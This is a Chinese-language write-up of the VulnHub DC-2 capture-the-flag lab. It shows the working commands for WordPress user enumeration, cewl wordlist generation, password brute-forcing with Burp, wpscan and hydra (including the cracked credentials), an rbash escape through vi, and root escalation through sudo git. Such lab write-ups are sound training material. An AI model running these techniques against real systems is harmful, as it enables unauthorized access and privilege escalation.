渗透实战-vulnhub-DC-2
信息收集
1、目标IP:192.168.48.141
┌──(root㉿kali)-[~/桌面]
└─# nmap -sP 192.168.48.1/24
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-03 23:41 CST
Nmap scan report for 192.168.48.1
Host is up (0.00042s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.48.2
Host is up (0.000087s latency).
MAC Address: 00:50:56:E1:FD:22 (VMware)
Nmap scan report for dc-2 (192.168.48.141)
Host is up (0.00019s latency).
MAC Address: 00:0C:29:77:50:5D (VMware)
Nmap scan report for 192.168.48.254
Host is up (0.00026s latency).
MAC Address: 00:50:56:EA:0C:C5 (VMware)
Nmap scan report for 192.168.48.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.97 seconds
发现主机的第二种方法:arp-scan -l
2、端口扫描:开放端口80(http)和7744(ssh),还有有重定向的问题。
3、目录扫描:
Flag1
这里卡了一下,一直访问不了目标主机192.168.48.141,查了一下是被重定向到了http://dc-2/,解决方法就是在host文件里面改一下。
借鉴文章:https://blog.csdn.net/a310034188/article/details/121624538
kali的host文件路径:/etc/hosts
然后成功进入目标网站
找到第一个flag1,提醒我们下一个flag需要用到cewl(不会(理直气壮),学tm)
cewl学习连接:https://www.freebuf.com/articles/network/190128.html
Flag2
根据前面信息收集时扫描的目录发现登录网页
扔到burp里面扫了一下,除了一个密码明文的漏洞就没有了,淦!
绕过登录应该是没戏了,只能返回上一个flag提醒的cewl试试。
使用cewl生成字典
cewl http://dc-2/ -w /root/桌面/dc-2pw.txt
探测http://dc-2/这个网址根据内容生成字典保存在 /root/桌面/dc-2pw.txt 这个路径中
OK现在有密码了,问题又来了用户名我不到啊。。。
借鉴回来了,OK,我们再来试试新工具wpscan
来,上链接,学习自:https://www.freebuf.com/sectool/174663.html
wpscan --url http://dc-2/ -e u
枚举用户名
得到三个用户名并保存为dc-2user.txt
admin,jerry,tom
后面就是一个一个用户名爆破了。
有两个方法爆破
第一个方法burp爆破
抓取数据包后发到intruder模块,首先点击Clear,清除所有变量,然后选中要爆破的log和pwd参数,点击Add添加变量,Attack type选择Cluster bomb。
然后分别设置两个变量的字典
爆破出了tom and jerry 的密码
log=tom&pwd=parturient
log=jerry&pwd=adipiscing
yeah!!!!!登录登录
得到flag2
**Flag 2:**
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
下一个flag的提示:寻找另一个切入点。
诶,这个网站一共就开放了两个端口,另一个切入点就是开放的ssh咯!咱试试去。
![image-20230403212738946](/root/.config/Typora/typora-user-images/image-20230403212738946.png)
第二个方法还是使用WPscan
wpscan --ignore-main-redirect --url http://dc-2/ -U /root/桌面/DC-2/dc-2user.txt -P /root/桌面/DC-2/dc-2pw.txt -t 30
结果:
Flag3
ssh登录目标主机
先试试jerry
ssh jerry@192.168.48.141 -p 7744
由于不是默认的22端口所以要指定端口
但是用之前的密码登录结果一直登不上。
再试试tom
ssh tom@192.168.48.141 -p 7744
使用之前爆破出来的密码登录成功了。
这里可以介绍一个ssh登录密码爆破的工具hydra,如果之前爆破出来的密码不都能用的话,用下面的方法。
学习链接:https://blog.csdn.net/huweiliyi/article/details/105523823
hydra -t 32 -l admin -P passwd.txt -s 7744 192.168.78.128 ssh
hydra -t 32 -l tom -P passwd.txt -s 7744 192.168.78.128 ssh
hydra -t 32 -l jerry -P passwd.txt -s 7744 192.168.78.128 ssh
最后可以爆破出密码。
Fine,我们已经连接上目标主机了
找到了flag3,cat打开
试试vi打开,OK解决,得到flag3
Poor old Tom is always running after Jerry.Perhaps he should su for all the stress he causes.
Flag4
绕过rbash
根据flag3,应该是让我们su切换用户到jerry
tom@DC-2:~$ su jerry
-rbash: su: command not found
没有这个命令,淦,没有cat,还没有su到底咋回事,会不会是运行在rbash导致shell受限。
嗨嗨嗨,我来了,啥是rbash捏
受限shell是LinuxShell限制一些bash shell中的功能,并且是从名字上很清楚。 该限制很好地实现了命令以及脚本在受限shell中运行。 它为Linux中的bash shell提供了一个额外的安全层。
怎么验证嘞?我们打开passwd文件
vi /etc/passwd
可以看到
root:x:0:0:root:/root:/bin/bash
tom:x:1001:1001:Tom Cat,,,:/home/tom:/bin/rbash
jerry:x:1002:1002:Jerry Mouse,,,:/home/jerry:/bin/bash
如何绕过嘞???
我也不知道,嘿,但是咱有度娘配置环境变量。
学习链接:https://cloud.tencent.com/developer/article/1680551
这里我们采用编辑器绕过rbash
tom@DC-2:~$ vi
tom@DC-2:~$ su jerry
bash: su: command not found
世界毁灭,一拳打爆地球,哈哈哈哈,人哪有不疯的,强撑着罢了。
找了找问题,发现绕过shell后还要配置环境变量
tom@DC-2:~$ vi
:set shell=/bin/bash
:shell
tom@DC-2:~$ export PATH=/usr/sbin:/usr/bin:/sbin:/bin
tom@DC-2:~$ whoami
tom
tom@DC-2:~$ su jerry
Password:
密码就试试之前爆破出来的adipiscing,这下能直接进去了。
进去之后
jerry@DC-2:/home/tom$ ls
ls: cannot open directory .: Permission denied
# 因为还在tom的用户目录里面,这可不行啊,咱现在是jerry
jerry@DC-2:/home/tom$ pwd
/home/tom
jerry@DC-2:/home/tom$ cd /
jerry@DC-2:/$ ls
bin dev home lib media opt root sbin sys usr vmlinuz
boot etc initrd.img lost+found mnt proc run srv tmp var
jerry@DC-2:/$ cd home
jerry@DC-2:/home$ ls
jerry tom
jerry@DC-2:/home$ cd jerry/
jerry@DC-2:~$ ls
flag4.txt
ok,兄弟们,终于找到flag4了
jerry@DC-2:~$ cat flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
the final flag
最后一个flag从提示看来和Git有关,这个是一点都不知道,emmmm去去就来
OK,Git提权是吧
jerry@DC-2:~$ sudo git help config
#在末行命令模式输入!/bin/bash 或 !‘sh’ #完成提权
:!/bin/bash
提权成功,试试在root目录里面找最后一个flag
jerry@DC-2:~$ sudo git help config
root@DC-2:/home/jerry# cd /root
root@DC-2:~# ls
final-flag.txt
root@DC-2:~# cat final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
总结
cewl根据网站内容生成字典
burp的字典爆破方法
WPscan的使用和使用场景
rbash的绕过
git提权
ssh登录密码爆破的工具hydra
后记
不太想写了。